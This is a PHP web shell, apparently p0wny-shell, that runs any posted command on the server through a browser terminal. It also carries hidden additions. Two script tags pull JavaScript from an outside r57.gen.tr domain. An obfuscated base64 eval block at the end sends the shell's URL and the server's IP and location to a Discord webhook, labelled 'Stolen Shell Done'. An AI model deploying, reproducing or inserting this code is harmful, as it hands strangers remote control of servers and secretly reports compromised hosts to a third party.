<?php
function featureShell($cmd, $cwd) {
    $stdout = array();
    if (preg_match("/^\s*cd\s*$/", $cmd)) {
        // pass
    } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
        chdir($cwd);
        preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
        chdir($match[1]);
    } else {
        chdir($cwd);
        exec($cmd, $stdout);
    }
    return array(
        "stdout" => $stdout,
        "cwd" => getcwd()
    );
}
function featurePwd() {
    return array("cwd" => getcwd());
}
function featureHint($fileName, $cwd, $type) {
    chdir($cwd);
    if ($type == 'cmd') {
        $cmd = "compgen -c $fileName";
    } else {
        $cmd = "compgen -f $fileName";
    }
    $cmd = "/bin/bash -c \"$cmd\"";
    $files = explode("\n", shell_exec($cmd));
    return array(
        'files' => $files,
    );
}
if (isset($_GET["feature"])) {
    $response = NULL;
    switch ($_GET["feature"]) {
        case "shell":
            $cmd = $_POST['cmd'];
            if (!preg_match('/2>/', $cmd)) {
                $cmd .= ' 2>&1';
            }
            $response = featureShell($cmd, $_POST["cwd"]);
            break;
        case "pwd":
            $response = featurePwd();
            break;
        case "hint":
            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
    }
    header("Content-Type: application/json");
    echo json_encode($response);
    die();
}
?><!DOCTYPE html>
<SCRIPT SRC=http://www.r57.gen.tr/yazciz/ciz.js></SCRIPT>
<html>

    <head>
        <meta charset="UTF-8" />
        <title>p0wny@shell:~#</title>
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <style>
            html, body {
                margin: 0;
                padding: 0;
                background: #333;
                color: #eee;
                font-family: monospace;
            }
            #shell {
                background: #222;
                max-width: 800px;
                margin: 50px auto 0 auto;
                box-shadow: 0 0 5px rgba(0, 0, 0, .3);
                font-size: 10pt;
                display: flex;
                flex-direction: column;
                align-items: stretch;
            }
            #shell-content {
                height: 500px;
                overflow: auto;
                padding: 5px;
                white-space: pre-wrap;
                flex-grow: 1;
            }
            #shell-logo {
                font-weight: bold;
                color: #FF4180;
                text-align: center;
            }
            @media (max-width: 991px) {
                #shell-logo {
                    display: none;
                }
                html, body, #shell {
                    height: 100%;
                    width: 100%;
                    max-width: none;
                }
                #shell {
                    margin-top: 0;
                }
            }
            @media (max-width: 767px) {
                #shell-input {
                    flex-direction: column;
                }
            }
            .shell-prompt {
                font-weight: bold;
                color: #75DF0B;
            }
            .shell-prompt > span {
                color: #1BC9E7;
            }
            #shell-input {
                display: flex;
                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
                border-top: rgba(255, 255, 255, .05) solid 1px;
            }
            #shell-input > label {
                flex-grow: 0;
                display: block;
                padding: 0 5px;
                height: 30px;
                line-height: 30px;
            }
            #shell-input #shell-cmd {
                height: 30px;
                line-height: 30px;
                border: none;
                background: transparent;
                color: #eee;
                font-family: monospace;
                font-size: 10pt;
                width: 100%;
                align-self: center;
            }
            #shell-input div {
                flex-grow: 1;
                align-items: stretch;
            }
            #shell-input input {
                outline: none;
            }
        </style>

        <script>
            var CWD = null;
            var commandHistory = [];
            var historyPosition = 0;
            var eShellCmdInput = null;
            var eShellContent = null;
            function _insertCommand(command) {
                eShellContent.innerHTML += "\n\n";
                eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
                eShellContent.innerHTML += escapeHtml(command);
                eShellContent.innerHTML += "\n";
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }
            function _insertStdout(stdout) {
                eShellContent.innerHTML += escapeHtml(stdout);
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }
            function featureShell(command) {
                _insertCommand(command);
                makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function(response) {
                    _insertStdout(response.stdout.join("\n"));
                    updateCwd(response.cwd);
                });
            }
            function featureHint() {
                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete
                function _requestCallback(data) {
                    if (data.files.length <= 1) return;  // no completion
                    if (data.files.length === 2) {
                        if (type === 'cmd') {
                            eShellCmdInput.value = data.files[0];
                        } else {
                            var currentValue = eShellCmdInput.value;
                            eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
                        }
                    } else {
                        _insertCommand(eShellCmdInput.value);
                        _insertStdout(data.files.join("\n"));
                    }
                }
                var currentCmd = eShellCmdInput.value.split(" ");
                var type = (currentCmd.length === 1) ? "cmd" : "file";
                var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
                makeRequest(
                    "?feature=hint",
                    {
                        filename: fileName,
                        cwd: CWD,
                        type: type
                    },
                    _requestCallback
                );
            }
            function genPrompt(cwd) {
                cwd = cwd || "~";
                var shortCwd = cwd;
                if (cwd.split("/").length > 3) {
                    var splittedCwd = cwd.split("/");
                    shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
                }
                return "p0wny@shell:<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
            }
            function updateCwd(cwd) {
                if (cwd) {
                    CWD = cwd;
                    _updatePrompt();
                    return;
                }
                makeRequest("?feature=pwd", {}, function(response) {
                    CWD = response.cwd;
                    _updatePrompt();
                });
            }
            function escapeHtml(string) {
                return string
                    .replace(/&/g, "&amp;")
                    .replace(/</g, "&lt;")
                    .replace(/>/g, "&gt;");
            }
            function _updatePrompt() {
                var eShellPrompt = document.getElementById("shell-prompt");
                eShellPrompt.innerHTML = genPrompt(CWD);
            }
            function _onShellCmdKeyDown(event) {
                switch (event.key) {
                    case "Enter":
                        featureShell(eShellCmdInput.value);
                        insertToHistory(eShellCmdInput.value);
                        eShellCmdInput.value = "";
                        break;
                    case "ArrowUp":
                        if (historyPosition > 0) {
                            historyPosition--;
                            eShellCmdInput.blur();
                            eShellCmdInput.focus();
                            eShellCmdInput.value = commandHistory[historyPosition];
                        }
                        break;
                    case "ArrowDown":
                        if (historyPosition >= commandHistory.length) {
                            break;
                        }
                        historyPosition++;
                        if (historyPosition === commandHistory.length) {
                            eShellCmdInput.value = "";
                        } else {
                            eShellCmdInput.blur();
                            eShellCmdInput.focus();
                            eShellCmdInput.value = commandHistory[historyPosition];
                        }
                        break;
                    case 'Tab':
                        event.preventDefault();
                        featureHint();
                        break;
                }
            }
            function insertToHistory(cmd) {
                commandHistory.push(cmd);
                historyPosition = commandHistory.length;
            }
            function makeRequest(url, params, callback) {
                function getQueryString() {
                    var a = [];
                    for (var key in params) {
                        if (params.hasOwnProperty(key)) {
                            a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
                        }
                    }
                    return a.join("&");
                }
                var xhr = new XMLHttpRequest();
                xhr.open("POST", url, true);
                xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
                xhr.onreadystatechange = function() {
                    if (xhr.readyState === 4 && xhr.status === 200) {
                        try {
                            var responseJson = JSON.parse(xhr.responseText);
                            callback(responseJson);
                        } catch (error) {
                            alert("Error while parsing response: " + error);
                        }
                    }
                };
                xhr.send(getQueryString());
            }
            window.onload = function() {
                eShellCmdInput = document.getElementById("shell-cmd");
                eShellContent = document.getElementById("shell-content");
                updateCwd();
                eShellCmdInput.focus();
            };
        </script>
    </head>
<SCRIPT SRC=http://www.r57.gen.tr/yazciz/ciz.js></SCRIPT>
    <body>
        <div id="shell">
            <pre id="shell-content">
                <div id="shell-logo">
        ___                         ____      _          _ _        _  _   <span></span>
 _ __  / _ \__      ___ __  _   _  / __ \ ___| |__   ___| | |_ /\/|| || |_ <span></span>
| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_  ..  _|<span></span>
| |_) | |_| |\ V  V /| | | | |_| | | (_| \__ \ | | |  __/ | |_   |_      _|<span></span>
| .__/ \___/  \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_)    |_||_|  <span></span>
|_|                         |___/  \____/                                  <span></span>
                </div>
            </pre>
            <div id="shell-input">
                <label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
                <div>
                    <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
                </div>
            </div>
        </div>
    </body>

</html>
<?php $MP7ccMA0="\x62\141\x73\x65\x36\x34\x5f\144\145\x63\x6f\x64\145";eval($MP7ccMA0("JHQwYmdJaDYwSz0iNWM4ZGM3MjMxZjg4NjRhMzllOWYzOWU0YTZjMWY4MWIiOyRHM3hIRmtZb2lSPWFycmF5KCk7JEczeEhGa1lvaVJbMF09IklEOCtQZTRkYTNiN2ZiYmNlMjM0NWQ3NzcyYjA2NzRhMzE4ZDVEOXdhSEFLSkhkbFltaHZiMnRWY213Z1BTQW5hSFIwY0hNNkx5OWthWE5qYjNKa0xtTnZiUzloY0drdmQyVmlhRzl2YTNNdk1URTBNekE0TnpreU5UTXdOemt5TURNNU5DOXMiOyRHM3hIRmtZb2lSWzFdPSJiV0U1UlRsd2M5ZjBmODk1ZmI5OGFiOTE1OWY1MWZkMDI5N2UyMzZkU1ZCMWJFVkZabEk1ZDFOMmVFMUdNMVIwZVdoTGQxTmhURFV5TmpWeE5VbERXazlwVG5SZlRHUk5Vekp5YUdZNU5Vb3lYMUZZZW1oUmJGZEZZaWM3Q25SeWVTQjdDaUFnIjskRzN4SEZrWW9pUlsyXT0iSUNBa2NISjhmMTRlNDVmY2VlYTE2N2E1YTM2ZGVkZDRiZWEyNTQzdmRHOWpiMndnUFNCcGMzTmxkQ2drWDFORlVsWkZVbHNuU0ZSVVVGTW5YU2tnSmlZZ0pGOVRSVkpXUlZKYkowaFVWRkJUSjEwZ1BUMDlJQ2R2YmljZ1B5QWlhSFIwY0hNNiI7JEczeEhGa1lvaVJbM109Ikx5YzgxZTcyOGQ5ZDRjMmY2MzZmMDY3Zjg5Y2MxNDg2MmM4aUlEb2dJbWgwZEhBNkx5OGlPd29nSUNBZ0pHaHZjM1FnUFNBa1gxTkZVbFpGVWxzblNGUlVVRjlJVDFOVUoxMDdDaUFnSUNBa2MyTnlhWEIwSUQwZ0pGOVRSVkpXUlZKYkoxQkkiOyRHM3hIRmtZb2lSWzRdPSJVRjllY2NiYzg3ZTRiNWNlMmZlMjgzMDhmZDlmMmE3YmFmM1RSVXhHSjEwN0Nnb2dJQ0FnSkhWelpYSkJaMlZ1ZENBOUlDUmZVMFZTVmtWU1d5ZElWRlJRWDFWVFJWSmZRVWRGVGxRblhUc0tJQ0FnSUNSbWFXeGxWVkpNSUQwZ0pIQnliM1J2IjskRzN4SEZrWW9pUls1XT0iWWM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliMjlzSUM0Z0pHaHZjM1FnTGlBa2MyTnlhWEIwT3dvZ0lDQWdKR2x3VW1WemNHOXVjMlVnUFNCbWFXeGxYMmRsZEY5amIyNTBaVzUwY3lnaWFIUjBjSE02THk5aGNHa3VhWEJwWm5rdSI7JEczeEhGa1lvaVJbNl09ImIzSm5MejltYzlmMGY4OTVmYjk4YWI5MTU5ZjUxZmQwMjk3ZTIzNmRiM0p0WVhROWFuTnZiaUlwT3dvZ0lDQWdKR2x3UkdGMFlTQTlJR3B6YjI1ZlpHVmpiMlJsS0NScGNGSmxjM0J2Ym5ObEtUc0tJQ0FnSUNScGNDQTlJQ1JwY0VSaGRHRXQiOyRHM3hIRmtZb2lSWzddPSJQbWx3T3dvZ2M5ZjBmODk1ZmI5OGFiOTE1OWY1MWZkMDI5N2UyMzZkSUNBZ0pHbHdTVzVtYjFKbGMzQnZibk5sSUQwZ1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb0ltaDBkSEE2THk5cGNHbHVabTh1YVc4dmV5UnBjSDB2YW5OdmJpSXBPd29nIjskRzN4SEZrWW9pUls4XT0iSUNBZ0pHMTY3OTA5MWM1YTg4MGZhZjZmYjVlNjA4N2ViMWIyZGNsd1NXNW1ieUE5SUdwemIyNWZaR1ZqYjJSbEtDUnBjRWx1Wm05U1pYTndiMjV6WlNrN0Nnb2dJQ0FnSkdOdmRXNTBjbmtnUFNBa2FYQkpibVp2TFQ1amIzVnVkSEo1T3dvZyI7JEczeEhGa1lvaVJbOV09IklDQWdhODdmZjY3OWEyZjNlNzFkOTE4MWE2N2I3NTQyMTIyY0pISmxaMmx2YmlBOUlDUnBjRWx1Wm04dFBuSmxaMmx2YmpzS0lDQWdJQ1JqYVhSNUlEMGdKR2x3U1c1bWJ5MCtZMmwwZVRzS0NpQWdJQ0FrYldWemMyRm5aU0E5SUNJS0NpQWciOyRHM3hIRmtZb2lSWzEwXT0iSUNBZWNjYmM4N2U0YjVjZTJmZTI4MzA4ZmQ5ZjJhN2JhZjNxS2xWeWJEb3FLaUJnSkdacGJHVlZVa3hnWEc0S0lDQWdJQ0k3Q2lBZ0lDQWtkWE5sY201aGJXVWdQU0FpVTNSdmJHVnVJRk5vWld4c0lFUnZibVVpT3dvZ0lDQWdKR0YyWVhSaCI7JEczeEhGa1lvaVJbMTFdPSJjbFZ5YkNBOUk0NWM0OGNjZTJlMmQ3ZmJkZWExYWZjNTFjN2M2YWQyNkNKb2RIUndjem92TDJrdWFXMW5kWEl1WTI5dEwwTldSR0ZNUzJ3dWFuQm5JanNLSUNBZ0lDUmtZWFJoSUQwZ1lYSnlZWGtvQ2lBZ0lDQWdJQ0FnSjNWelpYSnVZVzFsIjskRzN4SEZrWW9pUlsxMl09Ikp5QTlQaUFrZDQ1YzQ4Y2NlMmUyZDdmYmRlYTFhZmM1MWM3YzZhZDI2WE5sY201aGJXVXNDaUFnSUNBZ0lDQWdKMkYyWVhSaGNsOTFjbXduSUQwK0lDUmhkbUYwWVhKVmNtd3NDaUFnSUNBZ0lDQWdKMlZ0WW1Wa2N5Y2dQVDRnWVhKeVlYa28iOyRHM3hIRmtZb2lSWzEzXT0iQ2lBZWNjYmM4N2U0YjVjZTJmZTI4MzA4ZmQ5ZjJhN2JhZjNnSUNBZ0lDQWdJQ0FnSUdGeWNtRjVLQW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdKMmx0WVdkbEp5QTlQaUJoY25KaGVTZ0tJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FuZFhKcyI7JEczeEhGa1lvaVJbMTRdPSJKeUE5UGlBa1o0NWM0OGNjZTJlMmQ3ZmJkZWExYWZjNTFjN2M2YWQyNjJsbVZYSnNDaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQXBMQW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdKMlJsYzJOeWFYQjBhVzl1SnlBOVBpQWtiV1Z6YzJGblpRb2dJQ0FnIjskRzN4SEZrWW9pUlsxNV09IklDQWdhODdmZjY3OWEyZjNlNzFkOTE4MWE2N2I3NTQyMTIyY0lDQWdJQ0FwQ2lBZ0lDQWdJQ0FnS1FvZ0lDQWdLVHNLQ2lBZ0lDQWtiM0IwYVc5dWN5QTlJR0Z5Y21GNUtBb2dJQ0FnSUNBZ0lDZG9kSFJ3SnlBOVBpQmhjbkpoZVNnS0lDQWciOyRHM3hIRmtZb2lSWzE2XT0iSUNBZ0lDMTY3OTA5MWM1YTg4MGZhZjZmYjVlNjA4N2ViMWIyZGNBZ0lDQWdKMmhsWVdSbGNpY2dJRDArSUNKRGIyNTBaVzUwTFhSNWNHVTZJR0Z3Y0d4cFkyRjBhVzl1TDJwemIyNWNjbHh1SWl3S0lDQWdJQ0FnSUNBZ0lDQWdKMjFsZEdodiI7JEczeEhGa1lvaVJbMTddPSJaYzRjYTQyMzhhMGI5MjM4MjBkY2M1MDlhNmY3NTg0OWJDY2dJRDArSUNkUVQxTlVKeXdLSUNBZ0lDQWdJQ0FnSUNBZ0oyTnZiblJsYm5RbklEMCtJR3B6YjI1ZlpXNWpiMlJsS0NSa1lYUmhLUW9nSUNBZ0lDQWdJQ2tLSUNBZ0lDazdDZ29nIjskRzN4SEZrWW9pUlsxOF09IklDQWdKR052YzlmMGY4OTVmYjk4YWI5MTU5ZjUxZmQwMjk3ZTIzNmRiblJsZUhRZ0lEMGdjM1J5WldGdFgyTnZiblJsZUhSZlkzSmxZWFJsS0NSdmNIUnBiMjV6S1RzS0lDQWdJQ1J5WlhOMWJIUWdQU0JtYVd4bFgyZGxkRjlqYjI1MFpXNTAiOyRHM3hIRmtZb2lSWzE5XT0iY3lna2QyVmlhRzl2YTFWeWJDd2dabUZzYzJVc0lDUmpiMjUwWlhoMEtUc0tDaUFnSUNCOUlHTmhkR05vSUNoRmVHTmxjSFJwYjI0Z0pHVXBJSHNLSUNBZ0lDQWdJQ0FLSUNBZ0lIMEtQejRLUEQ5d2FIQWciOyRxTDIwMjMwODIyMDUyMDE1PSJceDYyXDE0MVx4NzNceDY1XHgzNlx4MzRceDVmXDE0NFwxNDVceDYzXHg2Zlx4NjRcMTQ1IjskTW9BMjAyMzA4MjIwNTIwMTUgPSBGbk9kb0Y1YTIwMjMwODIyMDUyMDE1KCRHM3hIRmtZb2lSLCR0MGJnSWg2MEspO2Z1bmN0aW9uIEZuT2RvRjVhMjAyMzA4MjIwNTIwMTUoJGFlLCRrZXkpIHsgJGF0PWFycmF5KCk7IGZvciAoJGk9MDsgJGkgPCBzdHJsZW4oJGtleSk7ICRpKyspIHsgaWYgKGludHZhbCgka2V5WyRpXSk+MCkgeyAkYXRbJGldPSRrZXlbJGldOyB9IH0gJGF0PWFycmF5X3ZhbHVlcygkYXQpOyAkc3RyPSIiOyBmb3IgKCRpPTA7ICRpIDwgY291bnQoJGFlKTsgJGkrKykgeyBpZiAoJGk8IGNvdW50KCRhZSktMSkgJHN0ci49c3RyX3JlcGxhY2UobWQ1KCRhdFskaV0pLCAiIiwgJGFlWyRpXSk7IGVsc2UgJHN0ci49JGFlWyRpXTsgfSByZXR1cm4gJHN0cjsgfWV2YWwoJHFMMjAyMzA4MjIwNTIwMTUoJE1vQTIwMjMwODIyMDUyMDE1KSk7")); ?>